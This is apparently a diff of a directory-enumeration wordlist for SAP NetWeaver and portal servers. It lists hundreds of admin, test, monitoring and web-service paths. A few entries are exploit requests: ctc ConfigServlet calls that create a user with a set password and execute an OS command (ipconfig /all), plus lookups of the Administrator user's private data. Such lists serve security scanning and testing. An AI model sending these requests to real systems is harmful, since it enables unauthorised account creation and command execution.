||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sap/IStest
|
||||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/public/bc
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/abap
|
||||
/sap/public/bc/abap/docu
|
||||
/sap/public/bc/abap/mime_demo
|
||||
@@ -364,7 +404,6 @@
|
||||
/sap/public/bc/apc_test
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sf
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sl
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/bpo
|
||||
/sap/public/bc/bsp
|
||||
/sap/public/bc/clms
|
||||
@@ -388,8 +427,6 @@
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/its/scripts
|
||||
/sap/public/bc/jsm
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/qgm
|
||||
/sap/public/bc/sec
|
||||
@@ -410,13 +447,13 @@
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/Polling
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
@@ -424,31 +461,16 @@
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
@@ -457,23 +479,14 @@
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/icmandir/its/kernel_version.info
|
||||
/sap/public/icmandir/last_update_ITS.txt
|
||||
/sap/public/icmandir/last_update_icmadmin.txt
|
||||
/sap/public/info
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/myssocntl
|
||||
/sap/public/opu
|
||||
/sap/public/opu/resources
|
||||
/sap/public/ping
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
@@ -485,26 +498,20 @@
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/sapmc/sapmc.html
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
@@ -512,7 +519,6 @@
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
@@ -530,14 +536,11 @@
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
@@ -547,3 +550,1084 @@
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
@download@
|
||||
ADS-EJB
|
||||
ADS-License
|
||||
AE/index.jsp
|
||||
Adobe
|
||||
AdobeDocumentServices/Config
|
||||
AdobeDocumentServices/Config?wsdl
|
||||
AdobeDocumentServices/Grmg
|
||||
AdobeDocumentServicesSec/Config
|
||||
ApplicationAdminProvider
|
||||
BI_UDC
|
||||
BizcCommLayerAuthoring/Config1
|
||||
BizcCommLayerAuthoring/Config1?wsdl
|
||||
BizcCommLayerUtilities/Config1
|
||||
CAFDataService/Config
|
||||
CAFDataService/Config?wsdl
|
||||
CMSRTS/Config1
|
||||
CMSRTS/Config1?wsdl
|
||||
DataArchivingService
|
||||
GRMGHeartBeat
|
||||
GRMGWSTest/service
|
||||
GRMGWSTest/service?wsdl
|
||||
IGSCustomizingXML
|
||||
IciActionItemService/IciActionItemConf
|
||||
IciActionItemService/IciActionItemConf?wsdl
|
||||
IciChatLineService/IciChatLineConf
|
||||
IciChatLineService/IciChatLineConf?wsdl
|
||||
IciChatSessionService/IciChatSessionConf
|
||||
IciContainerService/IciContainerConf
|
||||
IciEventService/
|
||||
IciEventService/IciEventConf
|
||||
IciEventService/IciEventConf?wsdl
|
||||
IciEventService/sap
|
||||
IciFolderService/IciFolderConf
|
||||
IciFolderService/IciFolderConf?wsdl
|
||||
IciItemService/IciItemConf
|
||||
IciItemService/IciItemConf?wsdl
|
||||
IciMessageService/IciMessageConf
|
||||
IciMessageService/IciMessageConf?wsdl
|
||||
IciMonitorService/IciMonitorConf
|
||||
IciMonitorService/IciMonitorConf?wsdl
|
||||
IciPhoneCallService/IciPhoneCallConf
|
||||
IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
IciPhoneLineService/IciPhoneLineConf
|
||||
IciSystemService/IciSystemConf
|
||||
IciSystemService/IciSystemConf?wsdl
|
||||
IciUserService/IciUserConf
|
||||
IciUserService/IciUserConf?wsdl
|
||||
KW
|
||||
Lighthammer
|
||||
Modeler
|
||||
OpenSQLMonitors
|
||||
OpenSQLMonitors/
|
||||
OpenSQLMonitors/index.html
|
||||
PerformacetraceTraceApplication
|
||||
RE/index.jsp
|
||||
SAPIKS
|
||||
SAPIKS2
|
||||
SAPIKS2/contentShow.sap
|
||||
SAPIKS2/jsp/adminShow.jsp
|
||||
SAPIrExtHelp
|
||||
SLDStart/plain
|
||||
SLDStart/secure
|
||||
SQLTrace
|
||||
SQLtrace/index.html
|
||||
TOdbo
|
||||
TSapq
|
||||
TXmla
|
||||
TestJDBC_Web
|
||||
VC
|
||||
WSConnector/Config1
|
||||
WSConnector/Config1?wsdl
|
||||
WSConnector/Config2
|
||||
_default
|
||||
apidocs/
|
||||
apidocs/allclasses-frame.html
|
||||
apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
bcb
|
||||
bcb/
|
||||
bcb/bcbadmHome.jsp
|
||||
bcb/bcbadmNavigation.jsp
|
||||
bcb/bcbadmSettings.jsp
|
||||
bcb/bcbadmStart.jsp
|
||||
bcb/bcbadmSystemInfo.jsp
|
||||
bcbtest
|
||||
bcbtest/start.jsp
|
||||
bwtest
|
||||
caf
|
||||
ccsui
|
||||
com~tc~lm~webadmin~httpprovider~web
|
||||
ctc
|
||||
ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
|
||||
ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
dispatcher
|
||||
dswsbobje
|
||||
dtr_lite
|
||||
ecatt
|
||||
entrypoints/recent
|
||||
examples
|
||||
examples.html
|
||||
examples/
|
||||
examples_frame.html
|
||||
exchangeProfile
|
||||
exchangeProfile/
|
||||
guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
htmlb
|
||||
htmlb/
|
||||
htmlb/index.html
|
||||
index.html
|
||||
inspection.wsil
|
||||
ipcpricing/ui/
|
||||
irj
|
||||
irj/go/km/basicsearch
|
||||
irj/go/km/details
|
||||
irj/go/km/docs
|
||||
irj/go/km/docs/etc/public/mimes/images
|
||||
irj/go/km/docs/etc/xmlforms
|
||||
irj/go/km/docs/ume/users
|
||||
irj/go/km/highlightedcontent
|
||||
irj/go/km/navigation
|
||||
irj/go/km/navigation/
|
||||
irj/go/km/navigation/ume/users
|
||||
irj/portal
|
||||
irj/portalapps
|
||||
irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
irj/portalapps/com.sap.portal.epcf.loader
|
||||
irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
irj/sdn/soa-discovery
|
||||
irj/servlet
|
||||
irj/servlet/prt
|
||||
irj/servlet/prt/portal
|
||||
irj/servlet/prt/portal/
|
||||
irj/servlet/prt/portal/prtroot
|
||||
irj/servlet/prt/portal/prtroot/PortalAnywhere.Go
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.basicsearch
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs -> webdav
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.highlightedcontent
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.navigation
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.uidetails
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.home_ws
|
||||
irj/servlet/prt/portal/prtroot/com.sap.netweaver.kmc.people.PeopleDetails?Uri=/ume/users/USER.PRIVATE_DATASOURCE.un%253AAdministrator.usr
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
lcrabapapi
|
||||
logon
|
||||
logon/index.jsp
|
||||
logon/logonServlet
|
||||
logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
main.html
|
||||
mbeanreg
|
||||
meSync
|
||||
meSync/HttpGRMGTest.html
|
||||
mmr
|
||||
mmr/
|
||||
modeller/
|
||||
modeller/index.html
|
||||
monitoring
|
||||
monitoringProvierRoot
|
||||
nwa
|
||||
performanceProvierRoot
|
||||
pmi
|
||||
portal
|
||||
portalapps
|
||||
rep/build_info.html
|
||||
rep/build_info.jsp
|
||||
rep/start/index.jsp
|
||||
run/build_info.html
|
||||
run/build_info.jsp
|
||||
rwb/version.html
|
||||
saml
|
||||
samlssodemo_dest
|
||||
samlssodemo_source
|
||||
sap
|
||||
sap/
|
||||
sap/IStest
|
||||
sap/admin
|
||||
sap/admin/default.html
|
||||
sap/admin/index.html
|
||||
sap/ap
|
||||
sap/bc
|
||||
sap/bc/
|
||||
sap/bc/BEx
|
||||
sap/bc/FormToRfc
|
||||
sap/bc/FormToRfc/soap
|
||||
sap/bc/IDoc_XML
|
||||
sap/bc/MIDSD
|
||||
sap/bc/MJC
|
||||
sap/bc/MJC/
|
||||
sap/bc/MJC/mi_host
|
||||
sap/bc/MJC/mi_mds
|
||||
sap/bc/MJC/mi_service
|
||||
sap/bc/MJC/mi_services
|
||||
sap/bc/MY_NEW_SERV99
|
||||
sap/bc/Mi_host_http
|
||||
sap/bc/Mime
|
||||
sap/bc/bsp
|
||||
sap/bc/bsp/
|
||||
sap/bc/bsp/esh_os_service/favicon.gif
|
||||
sap/bc/bsp/sap
|
||||
sap/bc/bsp/sap/
|
||||
sap/bc/bsp/sap/SXSLT_DEMO
|
||||
sap/bc/bsp/sap/absenceform_new
|
||||
sap/bc/bsp/sap/alertinbox
|
||||
sap/bc/bsp/sap/alertinboxwap
|
||||
sap/bc/bsp/sap/bexlogon
|
||||
sap/bc/bsp/sap/bkbtest
|
||||
sap/bc/bsp/sap/bkbtest_sch
|
||||
sap/bc/bsp/sap/brf_export_xml
|
||||
sap/bc/bsp/sap/brf_info
|
||||
sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
sap/bc/bsp/sap/bsp_model
|
||||
sap/bc/bsp/sap/bsp_veri
|
||||
sap/bc/bsp/sap/bsp_verificatio
|
||||
sap/bc/bsp/sap/bsp_vhelp
|
||||
sap/bc/bsp/sap/bsp_wd_base
|
||||
sap/bc/bsp/sap/bsp_wd_comp_spl
|
||||
sap/bc/bsp/sap/bsp_wd_compbase
|
||||
sap/bc/bsp/sap/bsp_wd_ddlb_spl
|
||||
sap/bc/bsp/sap/bsp_wd_tree_spl
|
||||
sap/bc/bsp/sap/bspwd_basics
|
||||
sap/bc/bsp/sap/bspwd_cmp_embed
|
||||
sap/bc/bsp/sap/bspwd_simple
|
||||
sap/bc/bsp/sap/btf_ext_demo
|
||||
sap/bc/bsp/sap/ccms_mc
|
||||
sap/bc/bsp/sap/certmap
|
||||
sap/bc/bsp/sap/certreq
|
||||
sap/bc/bsp/sap/crm_bm
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dis
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dss
|
||||
sap/bc/bsp/sap/crm_bsp_bab_exi
|
||||
sap/bc/bsp/sap/crm_bsp_bab_fra
|
||||
sap/bc/bsp/sap/crm_bsp_bab_pan
|
||||
sap/bc/bsp/sap/crm_bsp_f1_help
|
||||
sap/bc/bsp/sap/crm_bsp_f4_help
|
||||
sap/bc/bsp/sap/crm_bsp_face
|
||||
sap/bc/bsp/sap/crm_bsp_frame
|
||||
sap/bc/bsp/sap/crm_bsp_listper
|
||||
sap/bc/bsp/sap/crm_bsp_lst_prt
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_fr
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_pa
|
||||
sap/bc/bsp/sap/crm_ei_cmp_admn
|
||||
sap/bc/bsp/sap/crm_ic_check
|
||||
sap/bc/bsp/sap/crm_ic_ise
|
||||
sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
sap/bc/bsp/sap/crm_ic_mcm
|
||||
sap/bc/bsp/sap/crm_ic_preview
|
||||
sap/bc/bsp/sap/crm_ic_xmledit
|
||||
sap/bc/bsp/sap/crm_ici_tst_cat
|
||||
sap/bc/bsp/sap/crm_ml_preview
|
||||
sap/bc/bsp/sap/crm_preview
|
||||
sap/bc/bsp/sap/crm_prt_url_dis
|
||||
sap/bc/bsp/sap/crm_thtmlb_util
|
||||
sap/bc/bsp/sap/crm_ui_frame
|
||||
sap/bc/bsp/sap/crm_ui_start
|
||||
sap/bc/bsp/sap/crm_xml_test
|
||||
sap/bc/bsp/sap/crmcmp_bpident/
|
||||
sap/bc/bsp/sap/crmcmp_brfcase
|
||||
sap/bc/bsp/sap/crmcmp_hdr
|
||||
sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
sap/bc/bsp/sap/decode_url
|
||||
sap/bc/bsp/sap/ecteched
|
||||
sap/bc/bsp/sap/esh_sap_link
|
||||
sap/bc/bsp/sap/esh_sapgui_exe
|
||||
sap/bc/bsp/sap/frontend_print
|
||||
sap/bc/bsp/sap/graph_bsp_test
|
||||
sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_chart
|
||||
sap/bc/bsp/sap/graph_tut_chart/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_jnet
|
||||
sap/bc/bsp/sap/graph_tut_jnet/Mimes
|
||||
sap/bc/bsp/sap/graph_tutorials
|
||||
sap/bc/bsp/sap/graph_tutorials/mimes
|
||||
sap/bc/bsp/sap/gsbirp
|
||||
sap/bc/bsp/sap/hap_document
|
||||
sap/bc/bsp/sap/hap_q_profile
|
||||
sap/bc/bsp/sap/hr_expert
|
||||
sap/bc/bsp/sap/htmlb_samples
|
||||
sap/bc/bsp/sap/ic_base
|
||||
sap/bc/bsp/sap/ic_frw_notify
|
||||
sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
sap/bc/bsp/sap/iccmp_header
|
||||
sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
sap/bc/bsp/sap/icf
|
||||
sap/bc/bsp/sap/icf_notify_poll
|
||||
sap/bc/bsp/sap/icfrecorder
|
||||
sap/bc/bsp/sap/icm
|
||||
sap/bc/bsp/sap/it00
|
||||
sap/bc/bsp/sap/it01
|
||||
sap/bc/bsp/sap/it02
|
||||
sap/bc/bsp/sap/it03
|
||||
sap/bc/bsp/sap/it04
|
||||
sap/bc/bsp/sap/it05
|
||||
sap/bc/bsp/sap/itsm
|
||||
sap/bc/bsp/sap/me_fw_install
|
||||
sap/bc/bsp/sap/merep_app_meta
|
||||
sap/bc/bsp/sap/ppm
|
||||
sap/bc/bsp/sap/ppm_detail
|
||||
sap/bc/bsp/sap/public
|
||||
sap/bc/bsp/sap/public/
|
||||
sap/bc/bsp/sap/public/FormGraphics
|
||||
sap/bc/bsp/sap/public/bc
|
||||
sap/bc/bsp/sap/public/graphics
|
||||
sap/bc/bsp/sap/rmpspb_case
|
||||
sap/bc/bsp/sap/rmpspb_casenote
|
||||
sap/bc/bsp/sap/rsrthemes_iview
|
||||
sap/bc/bsp/sap/sam_demo
|
||||
sap/bc/bsp/sap/sam_notifying
|
||||
sap/bc/bsp/sap/sam_sess_queue
|
||||
sap/bc/bsp/sap/sapsign
|
||||
sap/bc/bsp/sap/sapterm
|
||||
sap/bc/bsp/sap/sbsp_dal_demo
|
||||
sap/bc/bsp/sap/sbspext_bsp
|
||||
sap/bc/bsp/sap/sbspext_htmlb
|
||||
sap/bc/bsp/sap/sbspext_phtmlb
|
||||
sap/bc/bsp/sap/sbspext_table
|
||||
sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
sap/bc/bsp/sap/scpbspconvertuc
|
||||
sap/bc/bsp/sap/sem_upwb
|
||||
sap/bc/bsp/sap/sf_webform_01
|
||||
sap/bc/bsp/sap/sf_webform_02
|
||||
sap/bc/bsp/sap/sf_webform_03
|
||||
sap/bc/bsp/sap/sf_webform_04
|
||||
sap/bc/bsp/sap/sfint_demo01
|
||||
sap/bc/bsp/sap/sfint_demo02
|
||||
sap/bc/bsp/sap/sfint_demo03
|
||||
sap/bc/bsp/sap/sfint_demo04
|
||||
sap/bc/bsp/sap/sicf_login_test
|
||||
sap/bc/bsp/sap/sicf_login_test/
|
||||
sap/bc/bsp/sap/sicf_login_test/test
|
||||
sap/bc/bsp/sap/sicf_login_test/testNoRedirect
|
||||
sap/bc/bsp/sap/smart_forms
|
||||
sap/bc/bsp/sap/spi_admin
|
||||
sap/bc/bsp/sap/spi_monitor
|
||||
sap/bc/bsp/sap/spi_procmonitor
|
||||
sap/bc/bsp/sap/srm_demo_bspext
|
||||
sap/bc/bsp/sap/srm_demo_note
|
||||
sap/bc/bsp/sap/srm_demo_record
|
||||
sap/bc/bsp/sap/srm_doc_test
|
||||
sap/bc/bsp/sap/srm_gensp_query
|
||||
sap/bc/bsp/sap/srm_note
|
||||
sap/bc/bsp/sap/srm_prop
|
||||
sap/bc/bsp/sap/srm_record
|
||||
sap/bc/bsp/sap/srmclfrm
|
||||
sap/bc/bsp/sap/srmps_browser
|
||||
sap/bc/bsp/sap/srmps_favorites
|
||||
sap/bc/bsp/sap/srmps_history
|
||||
sap/bc/bsp/sap/srmps_metadata
|
||||
sap/bc/bsp/sap/srmps_search
|
||||
sap/bc/bsp/sap/srt_browser
|
||||
sap/bc/bsp/sap/ssf_techinf
|
||||
sap/bc/bsp/sap/ssfdemodigsig
|
||||
sap/bc/bsp/sap/ssfdemodigsig2
|
||||
sap/bc/bsp/sap/swfmod_portal
|
||||
sap/bc/bsp/sap/swh_demo_calc
|
||||
sap/bc/bsp/sap/swn_config
|
||||
sap/bc/bsp/sap/swn_message1
|
||||
sap/bc/bsp/sap/swn_wiexecute
|
||||
sap/bc/bsp/sap/swxtraagent
|
||||
sap/bc/bsp/sap/swxtrareq
|
||||
sap/bc/bsp/sap/sxidemo_agcy_ui
|
||||
sap/bc/bsp/sap/sxms_alertrules
|
||||
sap/bc/bsp/sap/sxslt_training
|
||||
sap/bc/bsp/sap/system
|
||||
sap/bc/bsp/sap/system640
|
||||
sap/bc/bsp/sap/system_priv_01
|
||||
sap/bc/bsp/sap/system_priv_02
|
||||
sap/bc/bsp/sap/system_priv_03
|
||||
sap/bc/bsp/sap/system_private
|
||||
sap/bc/bsp/sap/system_public
|
||||
sap/bc/bsp/sap/system_test
|
||||
sap/bc/bsp/sap/t_sam_demo
|
||||
sap/bc/bsp/sap/thtmlb_scripts
|
||||
sap/bc/bsp/sap/thtmlb_styles
|
||||
sap/bc/bsp/sap/tunguska
|
||||
sap/bc/bsp/sap/tunguska_detail
|
||||
sap/bc/bsp/sap/tutorial_1
|
||||
sap/bc/bsp/sap/tutorial_2
|
||||
sap/bc/bsp/sap/tutorial_2htmlb
|
||||
sap/bc/bsp/sap/tutorial_3
|
||||
sap/bc/bsp/sap/tutorial_3_mvc
|
||||
sap/bc/bsp/sap/tutorial_4
|
||||
sap/bc/bsp/sap/tutorial_4_mvc
|
||||
sap/bc/bsp/sap/tutorial_cache
|
||||
sap/bc/bsp/sap/uddiclientfind
|
||||
sap/bc/bsp/sap/uddiclpublish
|
||||
sap/bc/bsp/sap/uicmp_ltx
|
||||
sap/bc/bsp/sap/upwb_sem
|
||||
sap/bc/bsp/sap/upwb_test_otr
|
||||
sap/bc/bsp/sap/upx_exec
|
||||
sap/bc/bsp/sap/upx_exec2
|
||||
sap/bc/bsp/sap/uws_form_servic
|
||||
sap/bc/bsp/sap/wap_push
|
||||
sap/bc/bsp/sap/webdynprodemos
|
||||
sap/bc/bsp/sap/wp_sess_test2
|
||||
sap/bc/bsp/sap/wscb
|
||||
sap/bc/bsp/sap/wsi_oci_bsp
|
||||
sap/bc/bsp/sap/wsi_oci_bsp_mvc
|
||||
sap/bc/bsp/sap/xi_pf_perf_moni
|
||||
sap/bc/bsp/sap/xi_pf_test
|
||||
sap/bc/bsp/sap/xmb_bsp_log
|
||||
sap/bc/bsp/scmb
|
||||
sap/bc/bsp/scmb/df_web2
|
||||
sap/bc/bsp_dev
|
||||
sap/bc/bw_test
|
||||
sap/bc/cachetest
|
||||
sap/bc/ccms
|
||||
sap/bc/ccms/
|
||||
sap/bc/ccms//Specto
|
||||
sap/bc/ccms/MarketSet
|
||||
sap/bc/ccms/monitoring
|
||||
sap/bc/ccms/monitoring/GRMG_APP
|
||||
sap/bc/ccms/monitoringCCMS_XML
|
||||
sap/bc/ce_url
|
||||
sap/bc/cimom
|
||||
sap/bc/cms
|
||||
sap/bc/contentserver
|
||||
sap/bc/crm_bsp_dl
|
||||
sap/bc/dal
|
||||
sap/bc/dal/demoB
|
||||
sap/bc/daldemoA
|
||||
sap/bc/doc
|
||||
sap/bc/doc/
|
||||
sap/bc/doc/browser
|
||||
sap/bc/doc/mast
|
||||
sap/bc/doc/meta
|
||||
sap/bc/doc/metadata
|
||||
sap/bc/doc/tmpl
|
||||
sap/bc/doc/tran
|
||||
sap/bc/docu
|
||||
sap/bc/dr
|
||||
sap/bc/ecatt
|
||||
sap/bc/ecatt/
|
||||
sap/bc/ecatt/ecatt_recorder
|
||||
sap/bc/ecatt/ecattping
|
||||
sap/bc/ecatt/log_provider
|
||||
sap/bc/echo
|
||||
sap/bc/echo/
|
||||
sap/bc/echo/logon
|
||||
sap/bc/echo/logon_base64
|
||||
sap/bc/echo/redirect
|
||||
sap/bc/error
|
||||
sap/bc/error/
|
||||
sap/bc/error/list
|
||||
sap/bc/error/template
|
||||
sap/bc/error/webgui
|
||||
sap/bc/esf
|
||||
sap/bc/formabsdelete
|
||||
sap/bc/fp
|
||||
sap/bc/fpads
|
||||
sap/bc/generate
|
||||
sap/bc/generate/poll
|
||||
sap/bc/graphics
|
||||
sap/bc/graphics/net
|
||||
sap/bc/gui
|
||||
sap/bc/gui/its
|
||||
sap/bc/gui/sap
|
||||
sap/bc/gui/sap/its/
|
||||
sap/bc/gui/sap/its/BWSP
|
||||
sap/bc/gui/sap/its/BWWF_WI_DECI
|
||||
sap/bc/gui/sap/its/BWWI_EXECUTE
|
||||
sap/bc/gui/sap/its/CCMS_APPSRVLIS
|
||||
sap/bc/gui/sap/its/CCMS_DBBUFARCH
|
||||
sap/bc/gui/sap/its/CERTMAP
|
||||
sap/bc/gui/sap/its/CERTREQ
|
||||
sap/bc/gui/sap/its/CRM_CIC_RABOX
|
||||
sap/bc/gui/sap/its/GRM_WRAPPER
|
||||
sap/bc/gui/sap/its/MININOTES
|
||||
sap/bc/gui/sap/its/MY_PROFILEMATC
|
||||
sap/bc/gui/sap/its/RSAU_STATUS
|
||||
sap/bc/gui/sap/its/SAPSIGN
|
||||
sap/bc/gui/sap/its/SAP_GENERATE
|
||||
sap/bc/gui/sap/its/SSFIDEMODIGSIG
|
||||
